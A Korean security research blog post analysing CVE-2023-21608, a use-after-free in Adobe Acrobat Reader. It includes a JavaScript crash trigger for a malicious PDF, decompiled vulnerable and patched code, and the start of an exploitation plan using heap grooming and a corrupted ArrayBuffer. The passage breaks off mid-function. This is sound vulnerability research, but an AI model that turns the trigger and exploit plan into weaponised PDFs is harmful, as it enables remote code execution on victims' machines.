[Research] 1day1document : CVE-2023-21608

Init

안녕하세요! pwndorei입니다. 오늘은 오랜만에 연구글로 돌아왔습니다!

이번 글에서는 제목처럼 CVE-2023-21608의 분석 및 익스플로잇 과정을 다룰 것이고 하루한줄에 좀 부족함을 느끼셨을 분들을 위한 하루 한 문서쯤 되는 분량입니다 ㅋㅋㅋㅋ

8yf1gt.gif

1. 취약점 정보


Description

CVE-2023-21608은 Adobe 사의 PDF 문서 편집, 변환 프로그램인 Acrobat과 PDF 뷰어인 Acrobat Reader 제품군에서 발생한 Use-After-Free 취약점입니다. 아래의 취약한 버전의 프로그램들에서 악성 PDF 문서를 열면 문서에 포함된 Javascript 코드가 실행되면서 Use-After-Free가 트리거되고 이를 익스플로잇하여 Remote Code Execution이 가능합니다.

Affected Product & Version Information

  • Adobe Acrobat 2020
    • version ≤ 20.005.30418
  • Adobe Acrobat Reader 2020
    • version ≤ 20.005.30418
  • Acrobat DC
    • version ≤ 22.003.20282
  • Acrobat Reader DC
    • version ≤ 22.003.20282

제 경우에는 분석과 익스플로잇을 위해 Adobe Acrobat Reader DC x86의 2022.001.20085 버전을 사용했습니다!

2. 취약점 분석


먼저 아래는 Use-After-Free를 유발하여 크래시를 발생시키는데 사용된 Javascript 코드입니다.

var testField = this.getField("testField");

testField.richText = true;

testField.setAction("Calculate", "calculateCallback()");

try { this.resetForm(); } catch (e) {}

try { this.resetForm(); } catch (e) {}  // bug is triggered during this resetForm call

function calculateCallback()

{

  event.__defineGetter__("target", getterFunc);

  event.richValue = this;

}

function getterFunc()

{

  try { Object.defineProperty(testField, "textFont", { value: this }); } catch(e) { }

}

해당 코드가 삽입된 PDF 문서에는 아래와 같은 testField라는 이름을 가지는 text field가 존재합니다

5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (testField)
/FT /Tx
/Rect [0 0 0 0]
>>

코드가 삽입된 문서를 열게 되면 위의 자바스크립트 코드가 실행되면서 (1)문서 오브젝트 doc의 Instance인 thisgetField 메소드를 호출하여 testField 오브젝트를 가져오고 (2)setAction 메소드를 통해 testFieldCalculate 핸들러로 calculateCallback 함수를 지정해줍니다. 바로 다음 줄에서 실행되는 (3)this.resetForm()Calculate 핸들러가 정의된 모든 필드 오브젝트에 calculate 이벤트를 발생시켜 핸들러가 호출되도록 만듭니다. testField의 경우에는 (4)calculateCallback함수가 호출되고 이 함수 안에서 eventtarget 속성에 대한 getter를 getterFunc로 재정의하고 richiValue 속성에 this를 대입합니다.

이로 인해 richValue에 대입될 값인 this (doc)의 모든 속성과 메소드가 EScript!ESObjectEnum함수에 의해 재귀적으로 열거되기 시작합니다. 이 과정에서 event.target에 접근하게 되어 getterFunc 함수가 호출되고 testField.textFontthis로 바뀌게 됩니다.

두 번째 this.resetForm()에서도 위와 같은 동작이 반복되지만 this로 바뀐 testField.textFont가 수정 불가능(non-configurable)하기 때문에 getterFunc에서 예외가 발생하게 됩니다.

발생한 예외로 인해 event.richValue에 접근할 때 호출되는 AcroForm!GetRichValueEventProp에서 아래의 분기로 진입하여 CAggToESVal함수가 호출되면서 열거 과정에서 할당된 CAggmap 오브젝트를 모두 해제하게 됩니다.

int __cdecl GetRichValueEventProp(wchar_t *arg0, int a2, int a3)
{
...
  else
  {
    LOBYTE(v16) = 0;
    sub_2085ECA0("EventRichValueInProgress");
    sub_20AAE7D6(arg0, v16, v17, v18, v19, 0, 15);
    if ( a1
      && (v9 = *(unsigned __int16 (__fastcall **)(int))(dword_21473CB8 + 180),
          v10 = __guard_check_icall_fptr(a1),
          v9(v10)) )
    {
      PointerType = sub_20A4AD65(a1, (wchar_t *)"richValue", (wchar_t *)"CAgg_P");
      if ( PointerType )
        PointerType = CAggToESVal(PointerType, v12, (wchar_t *)a3, PointerType);// Free All CAgg & map
    }
...
}

여기까지만 보면 딱히 큰 문제는 없어 보이지만 오브젝트들의 해제가 열거가 아직 끝나지 않은 상태에서 이루어지기 때문에 이후 해제된 메모리에 접근하면서 Use-After-Free가 발생합니다!!!

eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07            mov     eax,dword ptr [edi]  ds:002b:420fefd0=????????

page-heap을 활성화하고 버그를 트리거해보면 Use-After-Free로 인해 AcroForm!CAgg::operator[] 에서 위와 같은 크래시가 발생하는 것을 확인할 수 있습니다. 아래의 디컴파일된 코드에서 보면 if문 안에서 this->type 에 접근할 때 발생했다는 것을 알 수 있고 따라서 this가 UAF가 발생하는 메모리를 가리키고 있다고 볼 수 있습니다.

int __userpurge CAgg::operator[]@<eax>(CAgg *this@<ecx>, bool (*a2)[27]@<ebx>, wchar_t *someID)
{
  ...

  if ( this->type == 0x13 )
  {
    ...
  }
  else
  {
    ...
    else
    {
      CAgg::convert(this, a2, 0x14);
      v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this->map, (int)v9, (unsigned __int16 *)&someID);
    }
    return *v4 + 24;
  }
}

해당 함수를 호출한 함수는 아래의 AcroForm!EScript_ESObjectEnum_CallbackProc함수로 CAgg:operator[]의 첫 번째 인자(this)로 전달되는 pCagg가 해제된 메모리를 가리키며 이는 pCAggData가 가리키는 메모리에서 읽어온 주소입니다.

int __usercall EScript_ESObjectEnum_CallbackProc@<eax>(
        bool (*ebx0)[27]@<ebx>,
        int a2,
        wchar_t *key_str,
        wchar_t *a4,
        int ***pCAggData)
{
  CAgg **pCagg; // edi
  unsigned __int16 someID; // ax
  CAgg *v7; // eax

  pCagg = (CAgg **)*pCAggData;
  someID = (*(int (__cdecl **)(wchar_t *))(gCoreHFT + 20))(key_str); 
  v7 = (CAgg *)CAgg::operator[]((CAgg *)pCagg, ebx0, (wchar_t *)someID);
  ESValToCAgg(v7, a4, 0);
  return 1;
}

3. 패치 분석


버그가 Acrobat의 자바스크립트 엔진에서 발생하기 때문에 이를 트리거할 때도 자바스크립트가 사용되고 뒤에서 다룰 익스플로잇에서도 마찬가지입니다… 평소에 보던 취약점들과는 결이 다르다는게 느껴지네요 🥲

바로 익스플로잇 과정을 알아보기 전에 먼저 이 취약점이 어떻게 패치되었는지 확인해봅시다! 간단한 취약점은 아닌 만큼 패치 또한 코드 한 두줄에서 끝날리 없겠죠?

먼저 취약점이 패치된 버전(Adobe Acrobat Reader DC 2022.003.20310)과 취약한 버전(Adobe Acrobat Reader DC 2022.001.20085)의 AcroForm.api를 Diffing하여 아래와 같은 결과를 얻을 수 있었습니다!

Untitled

primary와 secondary는 각각 취약한 버전과 패치된 버전의 AcroForm.api 이고 둘 사이에 match된 함수들 중에서 버그를 트리거하는 과정에서 호출되는 함수들의 변경점을 살펴본 결과 아래와 같이 SetRichValueEventPropGetRichValueEventProp, SetRichChangeEventPropGetRichChangeEventProp에서 차이가 발생하는 것을 확인할 수 있었습니다.

Untitled

이중에서도 GetRichValueEventProp의 차이를 확인해보면 아래와 같은데요?

Untitled

노란색으로 표시된 Basic Block은 패치 전후로 차이가 발생하지만 Match되는 Basic Block으로 왼쪽이 primary(패치 전), 오른쪽이 secondary(패치 후)이며 파란색의 코드와 Basic Block은 primary에는 없지만 secondary에는 존재하는 부분을 나타냅니다. 즉 패치로 추가된 파란색 부분이 취약점을 해결하는 코드라고 볼 수 있는거죠.

이를 통해 GetRichValueEventProp에는 크게 아래의 두 가지 변경점이 존재하는 것을 알 수 있었습니다.

  1. 버그가 트리거되는 CAggToESVal 함수 호출 전, IsDataInGlobalHashTable 함수의 호출이 선행되고 이 함수의 반환 값이 CAggToESVal이 호출되는 Basic Block으로의 분기 여부를 결정
  2. CAggToESVal이 호출되는 Basic Block에서는 함수 호출 전후로 각각 InsertToGlobalHashTableDeleteFromGlobalHashTable 함수를 호출

디컴파일된 코드를 보면 아래와 같습니다!

  PointerType = sub_20A4BC05(v31, (wchar_t *)"richValue");
  PointerType_1 = PointerType;
  if ( PointerType )
  {
    LOBYTE(PointerType) = IsDataInGlobalHashTable(PointerType);
    if ( !(_BYTE)PointerType )
    {
      v15 = InsertToGlobalHashTable((int)&v31, PointerType_1);
      LOBYTE(v33) = 4;
      CAggToESVal((int)v15, v16, PropName, PointerType_1);
      PointerType = DeleteFromGlobalHashTable((int)&v31);
    }
  }
}

AcroForm.api은 심볼이 없기 때문에 함수들을 정성스럽게 분석해본 결과 해시 테이블과 관련된 함수들이라는 것을 알 수 있었고 InsertToGlobalHashTableDeleteFromGlobalHashTable 함수 등 각각의 함수의 기능에 따라 이름을 붙였습니다.

추가된 함수들의 동작을 분석한 결과 열거 도중에 오브젝트들이 free되는 버그의 발생을 막는 것을 알 수 있었고 각각의 함수를 분석한 내용은 아래와 같습니다.

IsDataInGlobalHashTable

bool __cdecl IsDataInGlobalHashTable(int Data)
{
  int v1; // ecx
  int a2; // [esp+0h] [ebp-4h] BYREF

  a2 = v1;
  return Data && sub_20AD638B(&GlobalHashTable, (ListEntry *)&a2, (int)&Data)->Flink != GlobalHashTable.DefaultHead;
}

디컴파일된 코드는 위와 같으며 sub_20AD638B를 호출하여 GlobalHashTableData가 저장되어 있는지 확인합니다.

GlobalHashTable은 자료형이 아래의 HashTable 구조체인 전역 변수로 연관된 모든 구조체들의 명칭과 정의는 분석을 통해 유추한 것입니다.

HashTable

00000000 ListEntry       struc ; (sizeof=0x8, mappedto_221)
00000000                                         
00000000                                         
00000000 Flink           dd ?                    
00000004 Blink           dd ?                    
00000008 ListEntry       ends
00000008
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 HashBucketEntry struc ; (sizeof=0x10, mappedto_223)
00000000                                         
00000000 list_entry      union1 ?                
00000000                                         
00000008 Data            dd ?                    
00000008                                         
0000000C field_C         dd ?                    
00000010 HashBucketEntry ends
00000010
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 HashTable       struc ; (sizeof=0x30, mappedto_224)
00000000                                         
00000000 unknown0        dd ?
00000004 DefaultHead     dd ?                    
00000004                                         
00000008 length          dd ?
0000000C HashBuckets     HashBucketTable ?       
00000020 field_20        dd ?                    
00000020                                         
00000024 field_24        dd ?
00000028 field_28        dd ?                    
00000028                                         
0000002C field_2C        dd ?                    
0000002C                                         
00000030 HashTable       ends
00000030
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 HashBucketTable struc ; (sizeof=0x14, mappedto_227)
00000000                                         
00000000 HashBucketBegin dd ?                    
00000004 HashBucketEnd   dd ?                    
00000008 HashBucketUnknown dd ?                  
0000000C BucketMaxIndex  dd ?
00000010 BucketCount     dd ?
00000014 HashBucketTable ends
00000014
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 HashBucketEntryHeader struc ; (sizeof=0x8, mappedto_228)
00000000                                         
00000000 BucketHead      dd ?                    
00000004 BucketTail      dd ?                    
00000008 HashBucketEntryHeader ends
00000008
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 union1          union ; (sizeof=0x8, mappedto_229)
00000000                                         
00000000                                         
00000000 list_entry      ListEntry ?
00000000 entry_header    HashBucketEntryHeader ?
00000000 union1          ends
00000000

HashTable은 해시 테이블 구현을 위한 구조체로 HashTable.DefaultHead부터 시작되는 원형 이중 연결 리스트로 데이터를 관리합니다. 원형 이중 연결 리스트는 HashBucketEntry 구조체로 이루어져 있으며 원형 연결 리스트의 연속적인 일부분이 각각의 버킷이 되어 해시 테이블을 구성합니다.

해시 테이블을 이루는 버킷들에 대한 정보는 HashBucketTable 구조체인 HashTable.HashBuckets에 저장되어 있고 HashBucketTable.HashBucketBegin이 가리키는 주소부터 HashBucketTable.HashBucketEnd가 가리키는 주소까지 HashBucketTable.BucketCount 길이의 HashBucketEntryHeader 배열이 존재합니다. 이러한 구조를 그림으로 나타내면 아래와 같습니다.

Untitled

HashBucketEntryHeader 배열에는 아래와 같이 원형 이중 연결 리스트에서 특정 버킷에 해당하는 연속된 노드들을 이중 연결 리스트로 관리하고 이 연결 리스트의 Head와 Tail 노드를 BucketHeadBucketTail에 저장합니다. 비어있는 버킷의 경우에는 BucketHeadBucketTail이 모두 HashTable.DefaultHead입니다.

Untitled

위와 같은 내용을 분석하면서 정말 오랜만에 리버싱이 재미있는 순간이었습니다만… 자주 하고 싶진 않군요…

무튼 이러한 구조를 갖는 HashTable을 인자로 호출된 sub_20AD638B는 아래와 같습니다.

sub_20AD638B

ListEntry *__thiscall sub_20AD638B(HashTable *hashTable, ListEntry *a2, _DWORD *pData)
{
  int DataHash; // eax
  HashBucketEntry *v5; // ecx
  ListEntry *result; // eax
  ListEntry returnPtr; // [esp+4h] [ebp-8h] BYREF

  DataHash = hashFunction(0x811C9DC5, pData, 4u);
  v5 = FindDataFromHashTable(hashTable, &returnPtr, pData, DataHash)->Blink;
  if ( !v5 )
    v5 = hashTable->DefaultHead;
  result = a2;
  a2->Flink = v5;                              
  return result;
}

먼저 아래의 hashFunction을 호출하여 pData가 가리키는 데이터를 해싱합니다.

int __cdecl hashFunction(int a1, _BYTE *a2, unsigned int len)
{
  unsigned int i; // edx

  for ( i = 0; i < len; ++i )
    a1 = 0x1000193 * (a1 ^ (unsigned __int8)a2[i]);
  return a1;
}

이후 hashFunction이 반환한 DataHash를 인자로 사용하여 FindDataFromHashTable 함수를 호출합니다.

FindDataFromHashTable

ListEntry *__thiscall FindDataFromHashTable(HashTable *hashTable, ListEntry *returnPtr, _DWORD *pData, int DataHash)
{
  int idx; // eax
  HashBucketEntryHeader *v5; // esi
  HashBucketEntry *v6; // ecx
  HashBucketEntry *v7; // edx
  ListEntry *result; // eax

  idx = DataHash & hashTable->HashBuckets.BucketMaxIndex;// Hash & 7
  v5 = hashTable->HashBuckets.HashBucketBegin;  
  v6 = hashTable->DefaultHead;                  // default header
  v7 = v5[idx].BucketTail;                     
  if ( v7 == v6 )                               // bucket is empty
  {
    result = returnPtr;
    returnPtr->Blink = 0;
LABEL_8:
    result->Flink = v6;
  }
  else
  {
    while ( 1 )                                 // Traverse Bucket(doubly linked list)
                                                // from Tail to Head
    {
      if ( *pData == v7->Data )                 // Data Found
      {
        result = returnPtr;
        v6 = v7->list_entry.list_entry.Flink;
        returnPtr->Blink = v7;                  // returnPtr->Filnk = found->Flink
                                                // returnPtr->Blink = found
        goto LABEL_8;
      }
      if ( v7 == v5[idx].BucketHead )
        break;
      v7 = v7->list_entry.list_entry.Blink;
    }
    result = returnPtr;
    returnPtr->Blink = 0;
    returnPtr->Flink = v7;
  }
  return result;                                // Data not found
                                                // 
                                                // returnPtr->Flink = BucketHead
                                                // returnPtr->Blink = NULL;
}

이 함수에서는 먼저 DataHash를 통해 탐색할 HashBucketEntryHeader를 가져옵니다. 탐색은 BucketTail부터 Blink를 따라 BucketHead에 도달할 때까지 이루어지고 만약 BucketTailDefaultHead인 경우 해당 버킷은 비어있다는 것이기에 탐색을 진행하지 않습니다.

버킷이 비어있지 않다면 탐색 결과를 두 번째 인자로 전달된 returnPtr에 저장하고 이를 반환합니다.

버킷이 비어있는 경우나 버킷에 해당하는 데이터가 없는 경우, returnPtr->FlinkreturnPtr->Blink에 각각 BucketHeadNULL이 저장되고 데이터를 찾은 경우에는 해당 데이터를 저장하고 있는 노드의 Flink와 노드의 주소가 각각 returnPtr->FlinkreturnPtr->Blink에 저장되어 반환됩니다.

sub_20AD638B에서는 FindDataFromHashTable에서 탐색 결과가 저장되고 반환된 returnPtrBlink를 검사하여 이 값이 NULL인(HashTable에 해당 데이터가 존재하지 않는) 경우 두 번째 인자 a2FlinkhashTable->DefaultHead를 저장하고 반환합니다.

v5 = FindDataFromHashTable(hashTable, &returnPtr, pData, DataHash)->Blink;
if ( !v5 )
  v5 = hashTable->DefaultHead;
result = a2;
a2->Flink = v5;                              
return result;

최종적으로 IsDataInGlobalHashTable 에서는 아래와 같이 GlobalHashTableData가 존재하는 경우 반환되는 노드의 주소나 데이터가 없는 경우에 반환되는 GlobalHashTable.DefaultHeadGlobalHashTable.DefaultHead와 비교하고 이 결과를 반환합니다.

return Data && sub_20AD638B(&GlobalHashTable, (ListEntry *)&a2, (int)&Data)->Flink != GlobalHashTable.DefaultHead;
//if Data is in GlobalHashTable, then Node's Addr != GlobalHashTable.
//=> return true
//else return false

따라서 GetRichValueEventProp에서는 아래와 같이 PointerTypeGlobalHashTable에 존재하지 않을 경우에만 CAggToESVal이 호출되는 분기로 진입하게 됩니다.

if ( PointerType )
{
  LOBYTE(PointerType) = IsDataInGlobalHashTable(PointerType);
  if ( !(_BYTE)PointerType )
  {
    v15 = InsertToGlobalHashTable((int)&v31, PointerType_1);
    LOBYTE(v33) = 4;
    CAggToESVal((int)v15, v16, PropName, PointerType_1);
    PointerType = DeleteFromGlobalHashTable((int)&v31);
  }
}

아래는 CAggToESVal 이전에 호출되는 InsertToGlobalHashTable함수의 분석입니다.

InsertToGlobalHashTable

_DWORD *__thiscall InsertToGlobalHashTable(int a1, int Data)
{
  int v4[2]; // [esp+4h] [ebp-8h] BYREF

  if ( Data )
  {
    InsertIfNotPresent(&GlobalHashTable, (ListEntry *)v4, (int)&Data)->Flink->field_C = 1;
    *(_DWORD *)a1 = Data;
  }
  return (_DWORD *)a1;
}

GlobalHashTable과 해시 테이블에 추가할 데이터의 주소를 인자로 InsertIfNotPresent함수를 호출합니다. 호출된 함수가 반환되면 첫 번째 인자 a1이 가리키는 주소에 Data를 쓰고 반환합니다.

InsertIfNotPresent

ListEntry *__thiscall InsertIfNotPresent(HashTable *hashTable, ListEntry *a2, int *pData)
{
  int DataHash; // ebx
  ListEntry *result; // eax
  HashBucketEntry *newBucketEntry; // edi
  HashBucketEntry *BucketHead; // ecx
  HashBucketEntry *v8; // eax
  bool v9; // zf
  ListEntry findResult; // [esp+10h] [ebp-24h] BYREF
  HashBucketEntry v11; // [esp+18h] [ebp-1Ch] BYREF
  int v12; // [esp+30h] [ebp-4h]

  DataHash = hashFunction(0x811C9DC5, pData, 4u);
  FindDataFromHashTable(hashTable, &findResult, pData, DataHash);
  if ( findResult.Blink )                       // Data is present in HashTable, no insertion
  {
    result = a2;
    a2->Flink = findResult.Blink;
    LOBYTE(a2->Blink) = 0;
  }
  else                                          // Data is not present -> insertion occurs
  {
    hashTableLengthCheck(hashTable);
    v11.Data = (int)pData;
    AllocateNewNode(&v11, (HashBucketEntry *)&hashTable->DefaultHead, &dword_2100AE5C, (int)&v11.Data);// allocate new node
                                                // v11.list_entry.list_entry.blink = new_node
    v12 = 0;
    if ( IsBucketExpandNeeded(hashTable) )
    {
      expandHashTable(hashTable);
      newBucketEntry = v11.list_entry.list_entry.Blink;
      BucketHead = FindDataFromHashTable(hashTable, &findResult, &v11.list_entry.list_entry.Blink->Data, DataHash)->Flink;
    }
    else
    {
      BucketHead = findResult.Flink;
      newBucketEntry = v11.list_entry.list_entry.Blink;
    }
    v11.list_entry.list_entry.Blink = 0;
    v8 = InsertIntoHashTable(hashTable, DataHash, BucketHead, newBucketEntry);
    v9 = v11.list_entry.list_entry.Blink == 0;
    a2->Flink = v8;
    LOBYTE(a2->Blink) = 1;
    if ( !v9 )
      sub_20867B89(v11.list_entry.list_entry.Blink);
    result = a2;
  }
  return result;
}

이 함수에서는 hashFunctionFindDataFromHashTable로 먼저 삽입할 데이터가 해시 테이블에 존재하는지 확인합니다. 이미 존재하는 경우 findResult.BlinkNULL이 아닌 값으로 설정되기에 if로 분기하여 삽입 과정 없이 함수가 반환되고 해시 테이블에 삽입할 데이터가 없는 경우 else로 분기하여 데이터의 삽입이 이루어집니다.

else 분기에서는 AllocateNewNode함수가 호출되어 Data*pData가 저장된 새로운 노드가 할당되고 findResult.Flink가 가리키는 데이터가 삽입될 버킷의 Head주소와 할당된 노드를 인자로 InsertIntoHashTable 함수를 호출합니다.

InsertIntoHashTable

InsertIntoHashTable 함수에서는 아래와 같이 target->BlinknewNode를 삽입하는 동작을 합니다.

HashBucketEntry *__thiscall InsertIntoHashTable(HashTable *hashTable, int DataHash, HashBucketEntry *target, HashBucketEntry *newNode)
{
  HashBucketEntry *tmp; // ebx
  int idx; // edx
  HashBucketEntryHeader *v6; // esi
  HashBucketEntry *result; // eax

  tmp = target->list_entry.list_entry.Blink;
  ++hashTable->length;                          // Increase Length
  newNode->list_entry.list_entry.Flink = target;
  newNode->list_entry.list_entry.Blink = tmp;
  tmp->list_entry.list_entry.Flink = newNode;
  target->list_entry.list_entry.Blink = newNode;// 
  // Blink: <-
  // Flink: ->
  // 
  // Before Insertion
  // 
  // ... <-> tmp <-> target <-> ...
  // 
  // After Insertion
  //  
  //  ... <-> tmp <-> newNode <-> target <-> ...
  idx = DataHash & hashTable->HashBuckets.BucketMaxIndex;
  v6 = hashTable->HashBuckets.HashBucketBegin;
  result = newNode;
  if ( v6[idx].BucketHead == hashTable->DefaultHead )
  {
    v6[idx].BucketHead = newNode;
LABEL_6:
    v6[idx].BucketTail = newNode;
    return result;
  }
  if ( v6[idx].BucketHead == target )
  {
    v6[idx].BucketHead = newNode;
    return result;
  }
  if ( v6[idx].BucketTail == tmp )
    goto LABEL_6;
  return result;
}

이후 삽입으로 인해 버킷의 Head나 Tail이 바뀐 경우, 해당하는 HashBucketEntryHeaderBucketHeadBucketTail을 변경합니다.

위 과정을 통해 해시 테이블에 PointerType의 삽입이 이루어진 다음 CAggToESVal함수가 호출되고 이후 아래의 DeleteFromGlobalHashTable 함수가 호출됩니다.

DeleteGlobalFromHashTable

int __thiscall DeleteFromGlobalHashTable(_DWORD *pData)
{
  int result; // eax

  if ( *pData )                                 
  {
    result = DeleteFromHashTable(&GlobalHashTable, pData);
    *pData = 0;
  }
  return result;
}

GlobalHashTablepData를 인자로 DeleteFromHashTable을 호출합니다

DeleteFromHashTable

int __thiscall DeleteFromHashTable(HashTable *hashTable, _DWORD *pData)
{
  int DataHash; // ebx
  HashBucketEntry *v4; // edi
  ListEntry result; // [esp+Ch] [ebp-8h] BYREF

  DataHash = hashFunction(0x811C9DC5, pData, 4u);
  v4 = FindDataFromHashTable(hashTable, &result, pData, DataHash)->Blink;
  if ( !v4 )
    return 0;                                   // Not Found, No deletion
  UnlinkTargetFromBucketEntryHeader(hashTable, v4, DataHash & hashTable->HashBuckets.BucketMaxIndex);
  UnlinkSelf((int *)&hashTable->DefaultHead, v4);
  return 1;
}

호출된 DeleteFromHashTable함수에서는 hashFunctionFindDataFromHashTable 함수 호출을 통해 해시 테이블에서 제거하고자 하는 데이터가 해시 테이블에 존재하는지 확인합니다. 존재하지 않는다면 다른 동작을 수행하지 않고 반환합니다.

제거할 데이터가 해시 테이블에 존재한다면 먼저 아래의 UnlinkTargetFromBucketEntryHeader 함수가 호출됩니다.

UnlinkTargetFromBucketEntryHeader

HashBucketEntry *__thiscall UnlinkTargetFromBucketEntryHeader(HashTable *hashTable, HashBucketEntry *target, int Idx)
{
  HashBucketEntryHeader *v3; // edx
  HashBucketEntry *result; // eax

  v3 = hashTable->HashBuckets.HashBucketBegin;
  result = target;
  if ( v3[Idx].BucketTail == target )           
  {
    if ( v3[Idx].BucketHead == target )        
    {
      result = hashTable->DefaultHead;
      v3[Idx].BucketHead = result;
    }
    else
    {
      result = target->list_entry.list_entry.Blink;
    }
    v3[Idx].BucketTail = result;
  }
  else if ( v3[Idx].BucketHead == target )
  {
    result = target->list_entry.list_entry.Flink;
    v3[Idx].BucketHead = target->list_entry.list_entry.Flink;
  }
  return result;
}

이 함수에서는 BucketHeadBucketTail가 제거하고자 하는 노드인 target과 같은지 검사하여 Head나 Tail 혹은 양쪽 모두를 갱신합니다. 이를 통해 targetBucketHead인 경우에는 target->Flink를 새로운 Head로 갱신하고 BucketTail인 경우에는 target->Blink를 새로운 Tail로 갱신합니다. target이 버킷에 존재하는 유일한 노드라면 BucketHeadBucketTail을 모두 hashTable->DefaultHead로 변경하여 버킷이 비었음을 나타냅니다.

DeleteFromHashTable에서 이 함수가 반환한 다음 호출되는 것은 아래의 UnlinkSelf 함수입니다

UnlinkSelf

int __thiscall UnlinkSelf(int *a1, HashBucketEntry *target)
{
  HashBucketEntry *v2; // esi

  v2 = target->list_entry.list_entry.Flink;
  --a1[1];                                      // decrease length
  target->list_entry.list_entry.Blink->list_entry.list_entry.Flink = v2;// Unlink
  v2->list_entry.list_entry.Blink = target->list_entry.list_entry.Blink;
  sub_20867B89(target);                         // free
  return (int)v2;
}

첫 번째 인자 a1으로 전달된 GlobalHashTable.DefaultHead의 주소에 4를 더한 주소에 위치한 length를 1 감소시키고 제거하고자 하는 노드인 target을 연결 리스트에서 제거합니다. 이후 호출되는 sub_20867B89에서는 target이 가리키는 메모리의 해제가 이루어집니다.

Patched : SetRichValueEventProp & GetRichValueEventProp

IsDataInGlobalHashTable, InsertToGlobalHashTable, DeleteFromGlobalHashTable함수의 호출은 아래와 같이 SetRichValueEventProp 함수에도 GetRichValueEventProp과 유사한 방식으로 추가되었습니다.

그럼 이제 이러한 코드들이 추가됨으로써 어떻게 취약점이 발생하지 않게 되는지 알아봅시다!

int __cdecl SetRichValueEventProp(wchar_t *a1, int a2, int a3)
{
  ...
  if ( v7() )
  {
    ...
    if ( !v8() )
    {
      ...
      if ( (_WORD)v34 == v16()
        || (v29 = 0,
            v28 = (int)"bWillCommit",
            v27 = v4,
            v17 = *(int (**)(void))(dword_2147CFA0 + 196),
            __guard_check_icall_fptr(v4, "bWillCommit"),
            v18 = v17(),
            (_WORD)v18) )
      {
LABEL_12:
        v29 = "CAgg_P";
        v18 = sub_20A4BC05(v4, (wchar_t *)"richValue");
        PointerType = (_DWORD *)v18;
        if ( v18 )
        {
          LOBYTE(v18) = IsDataInGlobalHashTable(v18);
          if ( !(_BYTE)v18 )                    // Not in process
          {
            v21 = InsertToGlobalHashTable((int)&PointerTypePtr, (int)PointerType);
            LOBYTE(v36) = 1;
            CAgg::Convert((int)v21, v22, PointerType, 0);
            sub_20AD749C((int)PointerType, v33, 0);// GetRichValueEventProp called
            v23 = *(void (**)(void))(dword_2147CFA0 + 200);
            v29 = (const wchar_t *)1;
            __guard_check_icall_fptr(v4, "bModified");
            v23();
            v18 = DeleteFromGlobalHashTable((int)&PointerTypePtr);
          }
        }
      }
      sub_20AAE6F7(v18, v19, v35);
    }
    result = 1;
  }
  else
  {
    ...
  }
  return result;
}

취약한 버전에서 버그가 트리거되는 과정이 패치된 버전에 동일하게 적용될 경우, 먼저 SetRichValueEventProp에서 호출된 IsDataInGlobalHashTable의 반환 값이 0인 경우 InsertToGlobalHashTable 함수가 호출되어 PointerType이 해시 테이블에 추가될 것이고 이후 호출되는 sub_20AD749C함수로 인해 GetRichValueEventProp 함수가 호출되고 아래의 코드가 실행되면서 IsDataInGlobalHashTable함수가 호출됩니다.

int __cdecl GetRichValueEventProp(wchar_t *a1, int a2, int a3)
{
  ...
  if ( v5() )
  {
    ...
  }
  else
  {
    ...
    if ( v31
      && (v23 = "richValue",
          v22 = (int)v31,
          v11 = *(unsigned __int16 (__fastcall **)(int))(dword_2147CFA0 + 180),
          v12 = __guard_check_icall_fptr(v31, "richValue"),
          v11(v12)) )
    {
      v23 = "CAgg_P";
      PointerType = sub_20A4BC05(v31, (wchar_t *)"richValue");
      PointerType_1 = PointerType;
      if ( PointerType )
      {
        LOBYTE(PointerType) = IsDataInGlobalHashTable(PointerType);
        if ( !(_BYTE)PointerType )
        {
          v15 = InsertToGlobalHashTable((int)&v31, PointerType_1);
          LOBYTE(v33) = 4;
          CAggToESVal((int)v15, v16, PropName, PointerType_1);
          PointerType = DeleteFromGlobalHashTable((int)&v31);
        }
      }
    }
    ...
  }
  return result;
}

취약한 버전에서는 아무런 검증 없이 CAggToESVal이 호출되어 열거 도중에 오브젝트들이 해제되고 이후 Use-After-Free가 발생하게 되지만 패치된 버전에서는 CAggToESVal을 호출하기 전에 IsDataInGlobalHashTable 함수가 호출됩니다. 이때의 PointerTypeSetRichValueEventPropPointerType과 같고 SetRichValueEventProp에서 호출된 InsertToGlobalHashTable 함수에 의해 이미 해시 테이블에 존재하는 상태입니다.

따라서 GetRichValueEventProp에서 호출된 IsDataInGlobalHashTabletrue를 반환하게 되고 CAggToESVal이 호출되지 않아 버그가 발생하지 않게 됩니다.

또한 richValue와 동일한 방식으로 버그를 발생시킬 수 있는 richChange와 관련된 SetRichChangeEventProp함수와 GetRichChangeEventProp함수도 같은 방식으로 패치되었습니다.

4. Exploitation


그럼 이제 대망의 익스플로잇만이 남았습니다. 위에서 얘기한 것처럼 익스플로잇에서도 자바스크립트가 사용되고 이전까지 자바스크립트 엔진 익스플로잇 경험이 없었기에 굉장히 신선하게 느껴지기도 했습니다.

Untitled

그래도 난 파이썬이 좋아

RCE 익스플로잇을 위해 먼저 힙 그루밍을 통해 Use-After-Free가 발생하는 메모리에 공격자가 조작할 수 있는 데이터를 할당하고 이를 통해 버그가 발생할 때 메모리에 할당된 특정 ArrayBuffer의 length가 덮어 쓰이게 만들어 이를 OOB Read/Write에 사용합니다.

1. Create Corrupted ArrayBuffer

아래는 page-heap이 활성화된 상태에서 크래시가 발생하는 CAgg::operator[]함수입니다.

CAgg::operator[]

int __userpurge CAgg::operator[]@<eax>(int *this@<ecx>, bool *a2@<ebx>, wchar_t *someID)
{
...
  if ( *this == 0x13 )                          // this->type
  {
    v6 = *(int (__fastcall **)(int))(dword_21473CA4 + 28);
    v7 = __guard_check_icall_fptr(someID);
    v8 = (void *)v6(v7);
    v15 = (wchar_t *)sub_20867317(v8, 1);
    v9 = (int *)this[2];
    v16 = 0;
    v11 = *(_DWORD *)sub_20AA6EED((int)a2a, v10, v9, (int)&v15, (int)a2a);
    v16 = 1;
    if ( v15 )
      sub_208679A2(v15);
    result = v11 + 24;
